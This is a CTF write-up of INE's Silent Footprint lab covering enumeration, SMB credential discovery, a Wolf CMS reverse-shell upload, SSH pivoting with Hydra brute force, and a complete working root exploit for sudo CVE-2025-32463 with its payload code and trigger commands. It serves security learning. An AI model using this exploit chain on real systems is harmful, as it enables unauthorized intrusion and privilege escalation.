INE’s Network Pentesting CTF · Medium · 14 days Challenge
I participated in INE Silent Footprint , a two‑week network pentest lab with three target hosts (ctf.playground.ine, ctf2.playground.ine, ctf3.playground.ine). This write‑up documents my methodology, step‑by‑step exploitation that help me to retrive the 4 flags, and the lessons and mitigations I took away.
Press enter or click to view image in full size
Event details
- Name: Silent Footprint
- Category: Network Pentesting
- Duration: Oct 6, 2025 to Oct 20, 2025
- Participation: Individual
- Scope / Targets:
ctf.playground.ine,ctf2.playground.ine,ctf3.playground.ine - Score: Multi-stage compromise [enumeration → discover endpoints → gain shell → pivot → discover credentials, privilege escalation]
Tools I used
nmap,nc,smbclient,gobuster,hydra,ssh,python3(for pivot script), a web browser for Wolf CMS admin dasboard.- Reverse shell: pentestmonkey PHP reverse shell
Approach & methodology
I followed a structured pentesting process just like a network pentester, starting with reconnaissance and ending with a detailed findings steps.
- Recon →
/etc/hostsinspection, host discovery and discover endpoints. - Ports and service enumeration →
nmap,nc,gobuster,smbclient. - Credential harvesting from exposed files and shares.
- Service‑specific exploitation (web app RCE, SMB read, SSH pivoting and password brute-force on SSH).
- Lateral movement and privilege escalation.
- Capture flags and document everything.
This post focuses on the steps that led to the four flags.
Lab entry: Initial discovery
I ran
ifconfigto verify the network configuration and IP address. The host had two network interfaces:
- eth0 with the IP address 10.1.0.2
- eth1 with the IP address 192.x.x.2
Then, I began checking the host machine and first verified the local name resolution. In the /etc/hosts file, I found host mappings that pointed to the two CTF targets mentioned in the scope. However, I did not find any entry for ctf3.playground.ine
┌──(root㉿INE)-[~]
└─# cat /etc/hosts
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.1.0.2 INE
127.0.0.1 AttackDefense-Kali
192.x.x.2 INE
192.x.x.2 INE
192.x.x.3 ctf2.playground.ine
192.x.x.4 ctf.playground.ineFinally, I performed basic connectivity checks (ping) against the targets:
ctf.playground.ine→ reachable from the host.ctf2.playground.ine→ reachable from the host.ctf3.playground.ine→ unreachable from the host.
Since all targets were supposed to be reachable, it was surprising that one wasn’t. I decided to add the IP address of ctf3 to the /etc/hosts file. To identify the correct IP, I ran a host discovery scan using Nmap on the 192.0.0.0/24 subnet. The scan revealed 4 IP addresses, 2 already mapped with ctf & ctf2, one belonging to the host machine, and another interesting one: 192.x.x.1 I added this IP to the /etc/hosts file, but ctf3 still remained unreachable.
Key command:
nmap -sV 192.0.0.0/24Flags : step‑by‑step walkthrough
Note: below are the commands and the reasoning I used. Replace
192.x.x.*with the real lab IPs when reproducing.
Flag 1 : SMB public share
Press enter or click to view image in full size
While enumerating ctf.playground.ine I initially found only three TCP ports open and no web page or other obvious entry points also no UDP ports found.
Initial service scan
Command:
nmap -sV ctf.playground.ineOutput:
Nmap scan report for ctf.playground.ine (192.x.x.4)
Host is up (0.000031s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
1234/tcp open hotline?
5678/tcp open rrac?
9101/tcp open jetdirect?
MAC Address: 02:42:C0:F5:71:04 (Unknown)Service detection performed. Please report any incorrect results
Nmap done: 1 IP address (1 host up) scanned in 6.48 seconds
Remembering that CTFs often use port knocking to reveal additional services, I attempted a knock sequence.
Overview — Port knocking
What it is : Port knocking is a stealthy method to hide a service behind a closed port by requiring a specific sequence of connection attempts (the “knock”) to predetermined ports. When the correct sequence is observed, a daemon or firewall rule temporarily opens a port (e.g., SSH) for the knocking host.
Why people use it:
- Adds an extra authentication factor before a service is even visible.
- Reduces attack surface by keeping services invisible to casual scanners.
- Useful in CTFs and small deployments where convenience beats complexity.
How it works:
- Client sends connection attempts to a sequence of ports (TCP/UDP) in the correct order (or using encoded payloads).
- A listener (knockd, fwknop, or a firewall script) monitors packet logs or raw sockets.
- If the sequence matches, the listener modifies firewall rules (e.g., iptables) to allow the client’s IP to access the protected service for a limited time.
Simple example (user-side):
knock -v target.example.com 7000 8000 9000 tcpExample (knockd) config snippet:
[options]
UseSyslog[openSSH]
sequence = 7000,8000,9000
seq_timeout = 5
start_command = /sbin/iptables -A INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
cmd_timeout = 30
stop_command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
Common tools:
knock(client)knockd(daemon)fwknop(port knocking with single-packet authorization — more secure)- firewall tools:
iptables/nftablesfor rule changes
Port knock attempt
Command:
knock -v 192.x.x.4 1234 5678 9101 tcpOutput:
hitting tcp 192.x.x.4:1234
hitting tcp 192.x.x.4:5678
hitting tcp 192.x.x.4:9101
Failed to resolve hostname '192.x.x.4' on port tcp
getaddrinfo: Servname not supported for ai_socktypeNote: If you want a detailed write-up on port knocking, including a lab setup and both offensive and defensive perspectives, let me know in the comments. If i get more comments i will prepare a full walkthrough.
- After the knock, I rescanned the target.
Follow-up scan
Command:
nmap -sV ctf.playground.ineOutput:
Nmap scan report for ctf.playground.ine (192.x.x.4)
Host is up (0.000027s latency).
Not shown: 996 closed tcp ports (reset)
PORT STATE SERVICE VERSION
445/tcp open netbios-ssn Samba smbd 4.6.2
1234/tcp open hotline?
5678/tcp open rrac?
9101/tcp open jetdirect?
MAC Address: 02:42:C0:F5:71:04 (Unknown)Service detection performed. Please report any incorrect results at https:
Nmap done: 1 IP address (1 host up) scanned in 6.36 seconds
How I discovered it
The Samba service on port 445/tcp appeared after the port knock, the second Nmap scan showed netbios-ssn (Samba smbd 4.6.2) open on ctf.playground.ine
SMB enumeration
- Enumerating the SMB service
Command:
smbclient -L ctf.playground.ineOutput:
Password for [WORKGROUP\root]: Sharename Type Comment
--------- ---- -------
public Disk
IPC$ IPC IPC Service (Samba 4.19.5-Ubuntu)
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to ctf.playground.ine failed (Error NT_STATUS_CONNECTION_REFUSED)
Unable to connect with SMB1 -- no workgroup available
Note: The scan showed a
publicshare available. The SMB client attempted an SMB1 fallback for the workgroup listing but failed the share itself is still accessible anonymously.
2. Access the public share (no password required)
Command:
smbclient //ctf.playground.ine/publicInteractive Session Output:
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue Sep 30 15:54:26 2025
.. D 0 Tue Sep 30 15:54:26 2025
readme.txt N 28 Tue Sep 30 15:54:26 2025
flag.txt N 33 Tue Sep 30 15:54:26 2025
endpoint.txt N 35 Tue Sep 30 15:54:26 2025 1981311780 blocks of size 1024. 67619856 blocks available
smb: \> mget *
Get file readme.txt? y
getting file \readme.txt of size 28 as readme.txt (13.7 KiloBytes/sec) (average 13.7 KiloBytes/sec)
Get file flag.txt? y
getting file \flag.txt of size 33 as flag.txt (32.2 KiloBytes/sec) (average 19.9 KiloBytes/sec)
Get file endpoint.txt? y
getting file \endpoint.txt of size 35 as endpoint.txt (17.1 KiloBytes/sec) (average 18.8 KiloBytes/sec)
smb: \> exit
3. Seen endpoint.txt on the SMB share, which contained an application endpoint and credentials: robert:password1 which became crucial for later web access.
robert/password1 for /?/ endpoint.The public share allowed anonymous access and included flag.txt.
Flag 1: 3988bc2138f8c43f62d42bf620fbf5ff
Flag 2 : Web flag → Wolf CMS RCE
Press enter or click to view image in full size
Hint: Examine the application folder on ctf2.playground.ine to find the flag hidden within the project layout or configuration files.
Note: Credentials found on
ctf.playground.inefrom the SMBendpoint.txt:
robert/password1 for /?/ endpoint.Nmap → target ctf2.playground.ine
Command:
nmap -sV ctf2.playground.ineOutput :
Nmap scan report for ctf2.playground.ine (192.x.x.3)
Host is up (0.000027s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
3306/tcp open mysql MySQL 5.5.47-0ubuntu0.14.04.1
MAC Address: 02:42:C0:F5:71:03 (Unknown)Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.46 seconds
Found port 80 & port 3306
- Port 3306 → MySQL
- Unable to connect with MySQL
Web enumeration → http://ctf2.playground.ine/
- Found Wolf CMS detected on the site.
Press enter or click to view image in full size
- Directory brute-force with Gobuster:
gobuster dir -u http://ctf2.playground.ine/ -w /usr/share/wordlists/dirb/common.txtNotable findings :
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git (Status: 200) [Size: 23]
/flag (Status: 200) [Size: 33] -> contains the flag
/public (Status: 301) [Size: 326] [--> http://ctf2.playground.ine/public/]
/docs (Status: 301) [Size: 324] [--> http://ctf2.playground.ine/docs/]http://ctf2.playground.ine/flagreturned the flag:
Press enter or click to view image in full size
Flag 2: 17189f8af3efbca5511198c84bbf1e6d
Check the endpoint /?/ (from endpoint.txt)
Because the SMB endpoint.txt referenced /?/, enumerated that path:
gobuster dir -u http://ctf2.playground.ine/?/ -w /usr/share/wordlists/dirb/common.txtOutput
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://ctf2.playground.ine/?/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/0 (Status: 200) [Size: 3881]
/about-us (Status: 200) [Size: 3437]
/admin (Status: 302) [Size: 0] [--> http://ctf2.playground.ine/?/admin/login]
/Articles (Status: 200) [Size: 3623]
/articles (Status: 200) [Size: 3623]
/HTML (Status: 200) [Size: 4167]
/html (Status: 200) [Size: 4167]
/jhtml (Status: 200) [Size: 4167]
/phtml (Status: 200) [Size: 4167]
/rhtml (Status: 200) [Size: 4167]
/shtml (Status: 200) [Size: 4167]
/xhtml (Status: 200) [Size: 4167]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================Findings:
/admin -> redirects to /?/admin/login (Wolf CMS admin login)Press enter or click to view image in full size
Login to Wolf CMS with SMB credentials
Use the credentials obtained from the SMB share:
Username: robert
Password: password1Press enter or click to view image in full size
Login successful with robert has sufficient privileges (developer) to access the Files area.
Exploitation (Wolf CMS file upload / create)
- Wolf CMS 0.8.1 is known to allow an authenticated developer/admin to create/upload arbitrary files (CVE-2015–6567) to get a Reverse Shell.
Steps taken:
Press enter or click to view image in full size
- Navigate to Files → Create new file in the CMS.
- Create
shell.php - Copy the pentest monkey revershell and paste it in shell file.
Press enter or click to view image in full size
4. Check Attacker IP
ifconfig eth15. Change the IP in the php
6. Then click on Save
Note: If required change the port number.
7. Now, Set the reverse shell listener on the attacker machine:
nc -lvnp 1234Press enter or click to view image in full size
8. Access the uploaded file via http://ctf2.playground.ine/public/shell.php (or the corresponding URL) to trigger the shell.
5. Upgrade the shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'export TERM=xterm- Ctrl + z
stty raw -echo; fgstty rows 38 columns 116
Result: interactive shell on ctf2.playground.ine obtained.
Note: At first I couldn’t solve the CTF3 challenge: after capturing the first two flags there were no obvious attack vectors, and the hidden service only exposed SSH. I tried brute-forcing the service and multiple privilege-escalation techniques on the shell I obtained, but nothing worked. I also discovered the target was running inside Docker and I couldn’t find any escape path. I spent about eight hours on it and eventually gave up.
A few days later INE changed the challenge for flag 3, but I didn’t notice it. I got busy with my personal work and only revisited the platform on the 13th, when I finally saw the updated question, I solved it within ~40 minutes😂 ended up with 20th rank
Press enter or click to view image in full size
Flag 3 : SSH pivot from ctf2 to ctf3 via port‑forward
Press enter or click to view image in full size
Summary
After discovering only SSH on the hidden service, I used nc to scan ports from ctf2, created an SSH port-forward on ctf2 to reach ctf3, and brute-forced the nicole account with Hydra using rockyou-40.txt. The found credentials allowed an SSH login and cat flag.txt revealed the flag.
Recon → Port scan using nc (no nmap available)
Press enter or click to view image in full size
- First verified ctf3 is reachable or not from
ctf2I ran:
ping -c 2 ctf3.playground.ineThe host responded and I noted the resolved IP address (details : PING ctf3.playground.ine (192.x.x.3)), confirming ctf2 can reach ctf3.
Full TCP port scan using nc (Netcat):
nc -z -v -w1 192.x.x.3 1-65535 2>&1 | grep -E "succeeded|open"Example output:
www-data@ctf2:/$ nc -z -v -w1 192.x.x.3 1-65535 2>&1 | grep -E "succeeded|open"
Connection to 192.x.x.3 22 port [tcp/ssh] succeeded!
www-data@ctf2:/$Note:
nmapwas not available in this environment, soncwas used for port discovery.
Port forwarding through ctf2
Because ctf3 only exposed SSH and was not directly reachable from the host for password brute-force, I set up a simple TCP forwarder on ctf2 to forward local port 2222 to ctf3:22
Press enter or click to view image in full size
The forwarder script on ctf2 (replace ctf3-IP with the actual IP):
# on ctf2
cat > /tmp/forward_ssh.py <<'PY'
#!/usr/bin/env python3
import socket, threading, sys
LISTEN_HOST = '0.0.0.0'
LISTEN_PORT = 2222
REMOTE_HOST = 'ctf3-IP' #change here
REMOTE_PORT = 22def handle(client_sock):
try:
remote = socket.socket()
remote.connect((REMOTE_HOST, REMOTE_PORT))
except Exception:
client_sock.close()
return
def forward(src, dst):
try:
while True:
data = src.recv(4096)
if not data:
break
dst.sendall(data)
except Exception:
pass
finally:
try: src.shutdown(socket.SHUT_RD)
except Exception: pass
t1 = threading.Thread(target=forward, args=(client_sock, remote), daemon=True)
t2 = threading.Thread(target=forward, args=(remote, client_sock), daemon=True)
t1.start(); t2.start()
t1.join(); t2.join()
client_sock.close(); remote.close()
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((LISTEN_HOST, LISTEN_PORT))
s.listen(5)
while True:
c, a = s.accept()
threading.Thread(target=handle, args=(c,), daemon=True).start()
if __name__ == '__main__':
main()
PY
nohup python3 /tmp/forward_ssh.py >/dev/null 2>&1 &
This makes
ctf2:2222forward toctf3:22and now from host ctf3 was reachable via ctf2 IP
Brute-force SSH (Hydra)
From the host machine, target the forwarded port on ctf2 and brute-force the nicole account using the rockyou-40.txt
hydra -l nicole -P /usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou-40.txt ctf2.playground.ine ssh -s 2222Hydra found credentials:
Press enter or click to view image in full size
Nicole : hahahaSSH into forwarded port and capture flag
Press enter or click to view image in full size
SSH to the forwarded port (2222) on ctf2, which proxies to ctf3:
ssh [email protected] -p 2222Once logged in:
cat flag.txtFlag 3: adc23dd70102ea29dc2c38d9b122ce2e
Notes: Pivoting from a low‑priv web user to another internal host is a classic lateral movement move. Always assume internal hosts may be reachable and prepare for pivots.
Flag 4 → Privilege escalation via CVE-2025-32463
Press enter or click to view image in full size
In any privilege escalation scenario, the first step is enumeration. To understand what permissions we have and what software versions are running on the system to find a weak point.
Step 1: Checking Sudo Version
The primary target is sudo, as it's the most common vector for escalating from a user to root
sudo -VOutput
Sudo version 1.9.16p2
Sudoers policy plugin version 1.9.16p2
Sudoers file grammar version 50
Sudoers I/O plugin version 1.9.16p2
Sudoers audit plugin version 1.9.16p2The key piece of information here is Sudo version 1.9.16p2 After a quick search for this specific version, it lead to CVE-2025–32463 and found a wonderful write-up by ValueSec on linkedin link
This discovery is critical: our entire attack plan will now revolve around this specific CVE.
Step 2: Checking the Name Service Switch (NSS)
The exploit for this CVE involves tricking etc/nsswitch.conf controls how Linux looks up users, groups, hosts, etc. It tells the system where to search like files, systemd, or dns, If an attacker changes it (in chroot), sudo may load fake libs, and That opens a path to root by default if sudo -R is used.
We check its configuration:
cat /etc/nsswitch.confoutput
# /etc/nsswitch.conf
#
# Example configuration of GNU Name Service Switch functionality.
# If you have the `glibc-doc-reference' and `info' packages installed, try:
# `info libc "Name Service Switch"' for information about this file.passwd: files systemd winbind
group: files systemd winbind
shadow: files systemd
gshadow: files systemd
hosts: files mdns4_minimal [NOTFOUND=return] dns
networks: files
protocols: db files
services: db files
ethers: db files
rpc: db files
netgroup: nis
This was a classic privilege escalation challenge. To run a specific command within a chroot environment using the -R (or --chroot) flag. Our goal is to break out of this limited permission and gain a full root shell on the host system.
The entire attack hinges on poisoning the Name Service Switch (NSS) configuration within the custom chroot environment we build.
Step 3: The Payload (payload.c)
The first step is to create our malicious payload.
cat > payload.c << EOF
#include <unistd.h>
#include <stdlib.h>__attribute__((constructor))
void root_access(void) {
setuid(0);
setgid(0);
chdir("/");
execl("/bin/bash", "bash", "-p", NULL);
}
EOF
What’s happening:
cat > payload.c: The command creates a new C file namedpayload.cwith the code that follows.__attribute__((constructor)): Key GCC feature. It tells the C library to runroot_accessfunction automatically as soon as this code is loaded into memory (as a shared library), even before the main program executes.root_access(void): This is our malicious function.setuid(0)andsetgid(0): These functions set the process's user ID and group ID to 0. Sincesudoruns the process as root, this effectively retains those root privileges.chdir("/"): Changes the directory to the real root (/) of the host system, effectively breaking out of the chroot jail.execl("/bin/bash", "bash", "-p", NULL): This is the final step. It replaces the current process with a new/bin/bashshell. The-pflag is critical: it tellsbashto preserve its effective user ID (which isroot), rather than dropping privileges.
The result is a new root shell, owned by root, running in the host's / directory.
Step 4: Building the Malicious Chroot Jail
This is the core of the exploit. We create a fake “jail” directory (woot) that will trick sudo.
These commands simply create the directory structure for our attack.
# The main chroot directory
mkdir woot# The /etc directory inside the jail
mkdir -p woot/etc# A directory to hold our malicious library (staging)
mkdir libnss_# Create the malicious nsswitch.conf
echo "passwd: /woot1337" > woot/etc/nsswitch.conf# Copy the group file
cp /etc/group woot/etc/What’s happening:
echo "passwd: /woot1337" > woot/etc/nsswitch.conf: This is the most important command. We create a newnsswitch.conffile inside our fake jail. This file controls how the system looks up information.- Normally, this file would say something like
passwd: files sss(check files, then system services). - We are replacing that. We’re telling any program running in this jail: “When you need to look up any password or user information, you must load the library located at the absolute path
/woot1337." cp /etc/group woot/etc/: This copies the system's realgroupfile into the jail. This is necessary to preventsudofrom erroring out when it looks for group information, which it does before it gets to thepasswddatabase.
Step 5: Compiling the Payload as a Shared Library
Next, compile this C code, not as a normal program, but as a shared library (.so file) that other programs can load.
gcc -shared -fPIC -o libnss_/woot1337.so.2 payload.cWhat’s happening:
gcc ...: The C compiler.-shared: Tellsgccto create a shared library.-fPIC: (Position Independent Code) This is required for shared libraries.-o libnss_/woot1337.so.2: This sets the output file name. The namewoot1337.so.2is arbitrary, but the.so.2suffix is common for libraries. It's saved in thelibnss_directory we created.
Step 6: The Trigger
Finally, executed the sudo command we were given permission for.
sudo -R ./woot wootWhat’s happening:
- We execute
sudo, which starts withrootprivileges. - The
-R ./wootflag tellssudotochrootinto our./wootdirectory. This means that for thesudoprocess, ourwootdirectory becomes the new root filesystem (/). - Inside this jail,
sudo(still asroot) tries to run thewootcommand. - To do its job,
sudoneeds to perform user lookups (like resolving the userroot). - It first reads the configuration file at
/etc/nsswitch.conf(which is actually our file:woot/etc/nsswitch.conf). - Our config file instructs it to load the “password database” from
/woot1337(which is our maliciouswoot/woot1337library). - The system’s C library obediently loads our
woot1337shared library into memory. - Because we compiled it with
__attribute__((constructor)), ourroot_accessfunction executes immediately upon being loaded. - Our
root_accessfunction runs, setssetuid(0),setgid(0), breaks out of the chroot (chdir("/")), and spawns a persistent root shell (execl("/bin/bash", "bash", "-p", NULL)).
Press enter or click to view image in full size
- Got root shell on the host system, and Flag 4 is captured.
cat /root/flag.txtFlag 4 (root): c124d2fd5c00281e0886efff5e6ce209
Reproducibility & artifacts
I kept command history and saved the flags and screenshots while working. When publishing, include sanitized screenshots (IP anonymized or edited).
Press enter or click to view image in full size